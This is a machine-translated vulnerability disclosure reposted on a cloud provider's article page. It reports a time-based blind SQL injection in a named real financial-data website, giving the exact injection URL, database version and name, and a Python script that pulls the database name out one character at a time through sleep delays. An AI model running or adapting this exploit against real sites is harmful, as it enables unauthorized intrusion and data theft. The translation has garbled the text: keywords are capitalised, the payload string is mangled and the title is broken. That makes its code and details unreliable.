Pseudo-static SQL injection (with verification script) exists in a station in flush)

Source: Internet
Author: User

Pseudo-static SQL injection (with verification script) exists in a station in flush)

Pseudo-static SQL injection at a site in huashun

The injection point is http://data.10jqka.com.cn/ifyyb/yybstockxt/code/600811/date/1?input parameter. The asterisk position is used to filter spaces and replace the plus sign (+). Pay attention to cache. True

False

Version 5.5.27

Database datacenfer

#! /Usr/bin/env python
#-*-Coding: UTF-8 -*-
Import string
Import requests
Import time
Payloads = string. ascii_lowercase + string. digits + '_@.'
Res =''
Headers = {'user-agent': 'mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/100 '}
For I in range (1, 20 ):
For p in payloads:
Start_time = time. time ()
Url = "today (now () = sysdate ()-(mid (database (), {}, 1) = '{}'), 1, sleep (1*3) + '1 ". format (I, p)
Req = requests. get (url)
Print req. url
If time. time ()-start_time> 3:
Res = res + p
Print "\ n" + res + "\ n"
Break
Print "\ n [Finish]:" + res
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.